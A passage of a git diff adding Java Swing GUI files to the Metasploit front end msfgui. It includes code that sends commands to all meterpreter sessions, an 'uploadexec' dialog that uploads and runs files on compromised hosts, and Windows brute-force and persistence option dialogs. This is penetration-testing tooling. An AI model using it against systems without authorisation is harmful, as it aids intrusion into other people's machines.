.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(searchField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(searchButton) + .addGap(18, 18, 18) + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 133, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(launchButton) + .addContainerGap()) + ); + + pack(); + }// //GEN-END:initComponents + + private void searchBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_searchBoxActionPerformed + if ((evt.getModifiers() & ActionEvent.MOUSE_EVENT_MASK) != 0) { + String typed = searchBox.getEditor().getItem().toString(); + doAction(typed); + } + }//GEN-LAST:event_searchBoxActionPerformed + + private void searchButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_searchButtonActionPerformed + mod.removeAllElements(); + String type = typeGroup.getSelection().getActionCommand(); + String detail = detailGroup.getSelection().getActionCommand(); + String toSearch = searchField.getText().toLowerCase(); + + //look through all modules of selected type. + for(Object module : modules){ + Object[] modInfo = (Object[])module; + if(!modInfo[0].equals(type)) + continue; + + try { //Get info + Map info = (Map) rpcConn.execute("module.info", new Object[]{modInfo[0], modInfo[1]}); + if(detail.equals("reference")){ + Object references = info.get("references"); + if(references != null){ + Object[] refArray = (Object[])references; + for(int i = 0; i < refArray.length; i++){ + Object[] ref = (Object[])refArray[i]; + if(ref[1].toString().toLowerCase().contains(toSearch) + || (ref[0].toString().toLowerCase()+"-"+ref[1]).contains(toSearch)){ + mod.addElement(modInfo[1]); + break; + } + } + } + }else{ + if(info.get("name").toString().toLowerCase().contains(toSearch) + || info.get("description").toString().toLowerCase().contains(toSearch)) + mod.addElement(modInfo[1]); + } + } catch (MsfException ex) { + JOptionPane.showMessageDialog(rootPane, ex); + } + } + }//GEN-LAST:event_searchButtonActionPerformed + + private void launchButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_launchButtonActionPerformed + String type = typeGroup.getSelection().getActionCommand(); + String name = resultList.getSelectedValue().toString(); + for(Object module : modules){ + Object[] modInfo = (Object[])module; + if(modInfo[0].equals(type) && modInfo[1].equals(name)) + ((ActionListener) modInfo[2]).actionPerformed(null); + } + }//GEN-LAST:event_launchButtonActionPerformed + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JRadioButton auxiliaryRadioButton; + private javax.swing.JRadioButton descriptionRadioButton; + private javax.swing.ButtonGroup detailGroup; + private javax.swing.JRadioButton exploitsRadioButton; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel3; + private javax.swing.JLabel jLabel4; + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JButton launchButton; + private javax.swing.JRadioButton payloadsRadioButton; + private javax.swing.JRadioButton referenceRadioButton; + private javax.swing.JList resultList; + private javax.swing.JComboBox searchBox; + private javax.swing.JButton searchButton; + private javax.swing.JTextField searchField; + private javax.swing.ButtonGroup typeGroup; + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/SessionCommand.java b/external/source/gui/msfguijava/src/msfgui/SessionCommand.java new file mode 100644 index 0000000000..c50455a58d --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/SessionCommand.java @@ -0,0 +1,59 @@ +package msfgui; + +import java.util.List; +import java.util.Map; +import javax.swing.JLabel; +import org.jdesktop.swingworker.SwingWorker; + +/** + * + * @author scriptjunkie + */ +public class SessionCommand { + protected String command; + protected String outputPrefix; + protected JLabel label; + public SessionCommand(){ + command = null; + outputPrefix = null; + label = null; + } + public SessionCommand(String cmd, String output, JLabel outputLabel){ + command = cmd; + outputPrefix = output; + label = outputLabel; + } + public String getCommand(Map session, SwingWorker parent){ + return command; + } + public void processResult(Map m) { + label.setText("Running "+outputPrefix + " on " + m.get("tunnel_peer") + ", session " + m.get("id")); + } + public static void runOnAllMeterpreters(final SessionsTable sessionsTableModel, String cmd, String output, + JLabel outputLabel, final RpcConnection rpcConn) { + final SessionCommand sess = new SessionCommand(cmd,output,outputLabel); + new SwingWorker() { + protected Object doInBackground() throws Exception { + try{ + List currentSessions = sessionsTableModel.getSessionList(); + for (Object o : currentSessions) { + Map session = (Map) o; + if (!session.get("type").equals("meterpreter")) + continue; + publish(session); + rpcConn.execute("session.meterpreter_write", new Object[]{session.get("id"),Base64.encode(("\n" + +sess.getCommand(session, this)+"\n").getBytes())}); + } + }catch (RuntimeException rex){ + if(!rex.getMessage().equals("cancelled")) + throw rex; + } + return null; + } + protected void process(List l) { + for(Object o : l) + sess.processResult((Map)o); + } + }.execute(); + } +} diff --git a/external/source/gui/msfguijava/src/msfgui/SessionsTable.java b/external/source/gui/msfguijava/src/msfgui/SessionsTable.java new file mode 100644 index 0000000000..bcfdf4bae4 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/SessionsTable.java @@ -0,0 +1,63 @@ +package msfgui; + +import java.util.List; +import java.util.Map; +import javax.swing.table.*; + +/** + * + * @author scriptjunkie + */ +public class SessionsTable extends AbstractTableModel { + public static final int TITLE_INDEX = 0; + public static final int ARTIST_INDEX = 1; + public static final int ALBUM_INDEX = 2; + public static final int HIDDEN_INDEX = 3; + protected String[] columnNames; + protected List sessions; + + public SessionsTable(List sessions) { + //also have "info", "workspace", "target_host", "username", "exploit_uuid" + this.columnNames = new String[]{"type","tunnel_local","tunnel_peer","via_exploit","via_payload","desc","uuid"}; + this.sessions = sessions; + } + + @Override + public String getColumnName(int column) { + return columnNames[column]; + } + + @Override + public boolean isCellEditable(int row, int column) { + return false; + } + + @Override + public Class getColumnClass(int column) { + return String.class; + } + + public Object getValueAt(int row, int column) { + return ((Map) sessions.get(row)).get(columnNames[column]); + } + + @Override + public void setValueAt(Object value, int row, int column) { + } + + public int getRowCount() { + return sessions.size(); + } + + public int getColumnCount() { + return columnNames.length; + } + + public void updateSessions(List newSessions) { + sessions = newSessions; + } + + public List getSessionList() { + return sessions; + } +} diff --git a/external/source/gui/msfguijava/src/msfgui/TableHelper.java b/external/source/gui/msfguijava/src/msfgui/TableHelper.java new file mode 100644 index 0000000000..aedd489b4c --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/TableHelper.java @@ -0,0 +1,54 @@ +package msfgui; + +import java.awt.Component; +import java.util.Vector; +import javax.swing.JTable; +import javax.swing.table.*; + +/** + * + * @author scriptjunkie + */ +public class TableHelper { + + /** Sets preferred column widths for the table based on header and data content. */ + public static void fitColumnWidths(TableModel model, JTable mainTable) { + for (int col = 0; col < model.getColumnCount();col++) { + TableColumn tc = mainTable.getColumnModel().getColumn(col); + TableCellRenderer tcr = mainTable.getDefaultRenderer(model.getColumnClass(col)); + int width = tcr.getTableCellRendererComponent(mainTable, + model.getColumnName(col), false, false, 0, col).getPreferredSize().width; + for (int row = 0; row < model.getRowCount();row++) { + Component c = tcr.getTableCellRendererComponent(mainTable, + model.getValueAt(row, col), false, false, row, col); + if (width < c.getPreferredSize().width) + width = c.getPreferredSize().width; + } + tc.setPreferredWidth(width); + } + } + + /** Based on a header row demonstrating the length and position of the fields, + * break a line into column elements. */ + protected static Vector fill(String line, String headerRow){ + Vector output = new Vector(); + boolean lastWhitespace = false; + StringBuilder val = new StringBuilder(); + int max = Math.max(headerRow.length(), line.length()); + for(int i = 0; i < max; i++){ + if(headerRow.length() <= i){ + val.append(line.charAt(i)); + continue; + } + if(lastWhitespace && !Character.isWhitespace(headerRow.charAt(i))){ + output.add(val.toString().trim()); + val.delete(0, val.length()); + } + if(line.length() > i) + val.append(line.charAt(i)); + lastWhitespace = Character.isWhitespace(headerRow.charAt(i)); + } + output.add(val.toString().trim()); + return output; + } +} diff --git a/external/source/gui/msfguijava/src/msfgui/UploadexecOptionsDialog.form b/external/source/gui/msfguijava/src/msfgui/UploadexecOptionsDialog.form new file mode 100644 index 0000000000..a6e145305f --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/UploadexecOptionsDialog.form @@ -0,0 +1,160 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/UploadexecOptionsDialog.java b/external/source/gui/msfguijava/src/msfgui/UploadexecOptionsDialog.java new file mode 100644 index 0000000000..4a07d06be4 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/UploadexecOptionsDialog.java @@ -0,0 +1,184 @@ +package msfgui; + +import javax.swing.JFileChooser; + +/** + * + * @author scriptjunkie + */ +public class UploadexecOptionsDialog extends OptionsDialog { + /** Creates new form UploadexecOptionsDialog */ + public UploadexecOptionsDialog(java.awt.Frame parent) { + super(parent, "Upload Exec Options", true); + initComponents(); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + okButton = new javax.swing.JButton(); + chooseButton = new javax.swing.JButton(); + fileField = new javax.swing.JTextField(); + jLabel1 = new javax.swing.JLabel(); + optionsField = new javax.swing.JTextField(); + pathField = new javax.swing.JTextField(); + jLabel2 = new javax.swing.JLabel(); + verboseBox = new javax.swing.JCheckBox(); + removeBox = new javax.swing.JCheckBox(); + jLabel3 = new javax.swing.JLabel(); + + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + closeDialog(evt); + } + }); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(UploadexecOptionsDialog.class); + okButton.setText(resourceMap.getString("okButton.text")); // NOI18N + okButton.setName("okButton"); // NOI18N + okButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + okButtonActionPerformed(evt); + } + }); + + chooseButton.setText(resourceMap.getString("chooseButton.text")); // NOI18N + chooseButton.setName("chooseButton"); // NOI18N + chooseButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + chooseButtonActionPerformed(evt); + } + }); + + fileField.setText(resourceMap.getString("fileField.text")); // NOI18N + fileField.setName("fileField"); // NOI18N + + jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N + jLabel1.setName("jLabel1"); // NOI18N + + optionsField.setText(resourceMap.getString("optionsField.text")); // NOI18N + optionsField.setName("optionsField"); // NOI18N + + pathField.setText(resourceMap.getString("pathField.text")); // NOI18N + pathField.setName("pathField"); // NOI18N + + jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N + jLabel2.setName("jLabel2"); // NOI18N + + verboseBox.setText(resourceMap.getString("verboseBox.text")); // NOI18N + verboseBox.setName("verboseBox"); // NOI18N + + removeBox.setText(resourceMap.getString("removeBox.text")); // NOI18N + removeBox.setName("removeBox"); // NOI18N + + jLabel3.setText(resourceMap.getString("jLabel3.text")); // NOI18N + jLabel3.setName("jLabel3"); // NOI18N + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(chooseButton) + .addComponent(jLabel1) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(verboseBox) + .addComponent(jLabel2))) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addComponent(jLabel3) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(okButton, javax.swing.GroupLayout.PREFERRED_SIZE, 67, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(removeBox) + .addComponent(optionsField, javax.swing.GroupLayout.DEFAULT_SIZE, 281, Short.MAX_VALUE) + .addComponent(fileField, javax.swing.GroupLayout.DEFAULT_SIZE, 281, Short.MAX_VALUE) + .addComponent(pathField, javax.swing.GroupLayout.DEFAULT_SIZE, 281, Short.MAX_VALUE)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(chooseButton) + .addComponent(fileField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(optionsField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel1)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(pathField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(removeBox) + .addComponent(verboseBox))) + .addComponent(jLabel2)) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 7, Short.MAX_VALUE) + .addComponent(okButton) + .addContainerGap()) + .addGroup(layout.createSequentialGroup() + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel3) + .addContainerGap()))) + ); + + pack(); + }// //GEN-END:initComponents + + private void okButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_okButtonActionPerformed + StringBuilder cmd = new StringBuilder("uploadexec "); + if(optionsField.getText().length() > 0) + cmd.append(" -o \""+MsfguiApp.doubleBackslashes(optionsField.getText())+"\""); + if(pathField.getText().length() > 0) + cmd.append(" -p \""+MsfguiApp.doubleBackslashes(pathField.getText())+"\""); + cmd.append(" -e \""+MsfguiApp.doubleBackslashes(fileField.getText())+"\""); + if(verboseBox.isSelected()) + cmd.append(" -v"); + if(removeBox.isSelected()) + cmd.append(" -r"); + command = cmd.toString(); + doClose(); + }//GEN-LAST:event_okButtonActionPerformed + + /** Closes the dialog */ + private void closeDialog(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_closeDialog + doClose(); + }//GEN-LAST:event_closeDialog + + private void chooseButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_chooseButtonActionPerformed + if(MsfguiApp.fileChooser.showOpenDialog(this) == JFileChooser.APPROVE_OPTION) + fileField.setText(MsfguiApp.fileChooser.getSelectedFile().getPath()); + }//GEN-LAST:event_chooseButtonActionPerformed + + private void doClose() { + setVisible(false); + dispose(); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton chooseButton; + private javax.swing.JTextField fileField; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel3; + private javax.swing.JButton okButton; + private javax.swing.JTextField optionsField; + private javax.swing.JTextField pathField; + private javax.swing.JCheckBox removeBox; + private javax.swing.JCheckBox verboseBox; + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/UserPassDialog.form b/external/source/gui/msfguijava/src/msfgui/UserPassDialog.form new file mode 100644 index 0000000000..748da25d34 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/UserPassDialog.form @@ -0,0 +1,139 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/UserPassDialog.java b/external/source/gui/msfguijava/src/msfgui/UserPassDialog.java new file mode 100644 index 0000000000..0ee2417fd1 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/UserPassDialog.java @@ -0,0 +1,163 @@ +package msfgui; + +import java.awt.Frame; + +/** + * + * @author scriptjunkie + */ +public class UserPassDialog extends javax.swing.JDialog { + public boolean okd; + + //Opens dialog to get options for a persistence + public static String getUserPassOpts(Frame parent) { + String[] userPass = showUserPassDialog(parent); + if(userPass == null) + return " -e"; + else + return " -u "+userPass[0]+" -p "+userPass[1]; + } + + /** Shows dialog and returns username and password, or null if cancelled. */ + public static String[] showUserPassDialog(java.awt.Frame parent){ + String[] answers = new String[]{"metasploit","rocks"}; + UserPassDialog d = new UserPassDialog(parent,true); + d.setVisible(true); + if(d.okd){ + answers[0] = d.usernameField.getText(); + answers[1] = d.passwordField.getText(); + return answers; + }else return null; + } + + /** Creates new form UserPassDialog */ + public UserPassDialog(java.awt.Frame parent, boolean modal) { + super(parent, modal); + setTitle("Enter username and password"); + initComponents(); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + usernameLabel = new javax.swing.JLabel(); + passwordLabel = new javax.swing.JLabel(); + usernameField = new javax.swing.JTextField(); + passwordField = new javax.swing.JTextField(); + okButton = new javax.swing.JButton(); + jLabel1 = new javax.swing.JLabel(); + dontButton = new javax.swing.JButton(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(UserPassDialog.class); + usernameLabel.setText(resourceMap.getString("usernameLabel.text")); // NOI18N + usernameLabel.setName("usernameLabel"); // NOI18N + + passwordLabel.setText(resourceMap.getString("passwordLabel.text")); // NOI18N + passwordLabel.setName("passwordLabel"); // NOI18N + + usernameField.setText(resourceMap.getString("usernameField.text")); // NOI18N + usernameField.setName("usernameField"); // NOI18N + usernameField.setPreferredSize(new java.awt.Dimension(50, 27)); + + passwordField.setText(resourceMap.getString("passwordField.text")); // NOI18N + passwordField.setName("passwordField"); // NOI18N + passwordField.setPreferredSize(new java.awt.Dimension(50, 27)); + + okButton.setText(resourceMap.getString("okButton.text")); // NOI18N + okButton.setName("okButton"); // NOI18N + okButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + okButtonActionPerformed(evt); + } + }); + + jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N + jLabel1.setName("jLabel1"); // NOI18N + + dontButton.setText(resourceMap.getString("dontButton.text")); // NOI18N + dontButton.setName("dontButton"); // NOI18N + dontButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + dontButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(44, 44, 44)) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(passwordLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(usernameLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(usernameField, javax.swing.GroupLayout.DEFAULT_SIZE, 312, Short.MAX_VALUE) + .addComponent(passwordField, javax.swing.GroupLayout.DEFAULT_SIZE, 312, Short.MAX_VALUE)) + .addContainerGap())) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addComponent(dontButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(okButton) + .addContainerGap()))) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(usernameLabel) + .addComponent(usernameField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(passwordField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(okButton) + .addComponent(dontButton))) + .addComponent(passwordLabel)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + pack(); + }// //GEN-END:initComponents + + private void okButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_okButtonActionPerformed + okd = true; + this.setVisible(false); + }//GEN-LAST:event_okButtonActionPerformed + + private void dontButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_dontButtonActionPerformed + okd = false; + this.setVisible(false); + }//GEN-LAST:event_dontButtonActionPerformed + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton dontButton; + private javax.swing.JLabel jLabel1; + private javax.swing.JButton okButton; + private javax.swing.JTextField passwordField; + private javax.swing.JLabel passwordLabel; + private javax.swing.JTextField usernameField; + private javax.swing.JLabel usernameLabel; + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/WinbfOptionsDialog.form b/external/source/gui/msfguijava/src/msfgui/WinbfOptionsDialog.form new file mode 100644 index 0000000000..dcc9b22832 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/WinbfOptionsDialog.form @@ -0,0 +1,154 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/WinbfOptionsDialog.java b/external/source/gui/msfguijava/src/msfgui/WinbfOptionsDialog.java new file mode 100644 index 0000000000..37f416a32e --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/WinbfOptionsDialog.java @@ -0,0 +1,190 @@ +package msfgui; + +import javax.swing.JFileChooser; + +/** + * + * @author scriptjunkie + */ +public class WinbfOptionsDialog extends OptionsDialog { + /** Creates new form UploadexecOptionsDialog */ + public WinbfOptionsDialog(java.awt.Frame parent) { + super(parent, "Winbf Options", true); + initComponents(); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + okButton = new javax.swing.JButton(); + userButton = new javax.swing.JButton(); + userField = new javax.swing.JTextField(); + passwordField = new javax.swing.JTextField(); + loginField = new javax.swing.JTextField(); + jLabel2 = new javax.swing.JLabel(); + checkPolicyBox = new javax.swing.JCheckBox(); + targetField = new javax.swing.JTextField(); + jLabel3 = new javax.swing.JLabel(); + passwordButton = new javax.swing.JButton(); + + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + closeDialog(evt); + } + }); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(WinbfOptionsDialog.class); + okButton.setText(resourceMap.getString("okButton.text")); // NOI18N + okButton.setName("okButton"); // NOI18N + okButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + okButtonActionPerformed(evt); + } + }); + + userButton.setText(resourceMap.getString("userButton.text")); // NOI18N + userButton.setName("userButton"); // NOI18N + userButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + userButtonActionPerformed(evt); + } + }); + + userField.setText(resourceMap.getString("userField.text")); // NOI18N + userField.setName("userField"); // NOI18N + + passwordField.setText(resourceMap.getString("passwordField.text")); // NOI18N + passwordField.setName("passwordField"); // NOI18N + + loginField.setText(resourceMap.getString("loginField.text")); // NOI18N + loginField.setName("loginField"); // NOI18N + + jLabel2.setHorizontalAlignment(javax.swing.SwingConstants.TRAILING); + jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N + jLabel2.setName("jLabel2"); // NOI18N + + checkPolicyBox.setText(resourceMap.getString("checkPolicyBox.text")); // NOI18N + checkPolicyBox.setName("checkPolicyBox"); // NOI18N + + targetField.setText(resourceMap.getString("targetField.text")); // NOI18N + targetField.setName("targetField"); // NOI18N + + jLabel3.setText(resourceMap.getString("jLabel3.text")); // NOI18N + jLabel3.setName("jLabel3"); // NOI18N + + passwordButton.setText(resourceMap.getString("passwordButton.text")); // NOI18N + passwordButton.setName("passwordButton"); // NOI18N + passwordButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + passwordButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jLabel3) + .addComponent(userButton) + .addComponent(jLabel2, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 159, Short.MAX_VALUE) + .addComponent(passwordButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(checkPolicyBox, javax.swing.GroupLayout.DEFAULT_SIZE, 225, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(okButton, javax.swing.GroupLayout.PREFERRED_SIZE, 67, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(passwordField, javax.swing.GroupLayout.DEFAULT_SIZE, 295, Short.MAX_VALUE) + .addComponent(userField, javax.swing.GroupLayout.DEFAULT_SIZE, 295, Short.MAX_VALUE) + .addComponent(loginField, javax.swing.GroupLayout.DEFAULT_SIZE, 295, Short.MAX_VALUE) + .addComponent(targetField, javax.swing.GroupLayout.DEFAULT_SIZE, 295, Short.MAX_VALUE)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(userField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(userButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + 